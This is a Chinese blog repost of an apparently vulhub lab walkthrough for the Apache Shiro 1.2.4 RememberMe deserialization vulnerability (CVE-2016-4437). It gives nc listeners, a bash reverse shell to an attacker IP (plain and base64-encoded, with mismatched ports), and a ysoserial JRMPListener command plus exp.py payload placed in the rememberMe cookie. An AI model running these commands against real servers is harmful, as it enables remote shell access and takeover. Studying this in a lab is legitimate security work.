栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)

vulhub/shiro/CVE-2016-4437

Apache shiro 1.2.4反序列化漏洞

漏洞原理

shiro可以执行身份验证,授权,密码,会话管理,Apache Shiro框架提供了记住我的功能(RememberMe),用来记录用户的凭证,当用户提交时,会对用户的登录凭证进行序列化- >AES加密- >base64编码,同时,在服务器端识别用户身份时,会进行base64解码- >AES解码- >反序列化,问题出现在AES加密的密钥硬编码在代码里,所以只要攻击这通过源代码找到AES加密的密钥,就可以构造一个恶意对象,进行序列化- >AES加密- >base64编码,然后将其作为用户登录凭证放在RememberME字段中发送,Shiro对其进行解密和反序列化,从而造成反序列化漏洞

漏洞特征

在返回包中存在rememberme=deleteme字段

影响版本

Apache Shiro <=1.2.4

jar工具利用

链接:https://pan.baidu.com/s/1YN8e7j8ZJU90MH8FeFEODg 
提取码:rnzf 

端口监听

nc -lvp 9999

BP抓包

账号密码登录 

admin/vulhub

添加ip:端口

ceye.io进行漏洞检测

反弹shell

查看端口

代码

1.bash -i >& /dev/tcp/192.168.0.110/888 0>&1

加密:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}'

2.在攻击机上执行

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}'

3.使用py脚本生成payload

python exp.py 192.168.0.110:888

4.攻击机上监听端口888

nc -lvp 888

5.bp抓包,在rememberme中添加生成的payload

6.发送数据包,查看java监听端口和nc监听端口的结果

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/933993.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号